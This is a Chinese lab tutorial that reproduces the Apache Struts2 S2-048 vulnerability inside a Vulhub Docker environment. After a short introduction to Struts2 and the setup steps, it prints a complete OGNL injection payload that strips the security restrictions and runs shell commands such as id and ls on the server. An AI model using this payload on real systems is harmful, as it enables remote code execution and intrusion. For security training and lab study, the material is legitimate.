实验环境:Struts2是什么?
Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序
这套 Struts2 入门教程对 Struts2 框架进行了讲解,采用基础知识与案例相结合的编写方式,使读者更容易的学以致用。学习本课程前需要具备 Java Web 基础,熟悉 JSP 和 Servlet。
- 火狐浏览器
- Struts2
- Ubuntu虚拟机
1、开启漏洞环境
首先进入到/vulhub-master/struts2/s2-048
目录
然后切换root用户,输入docker-compose up -d
启动s2-048的漏洞环境
然后查看本机IP
2、利用漏洞
在火狐中访问http://你的IP:8080/showcase
,然后依次点击图示位置
来到这样一个界面,然后输入${10*233}
提交
输出结果正确并提交
再输入%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
试试
id命令执行成功
换ls试一下依然成功
这个版本的漏洞只能执行id/ls/dir/whoami/echo
等简单的命令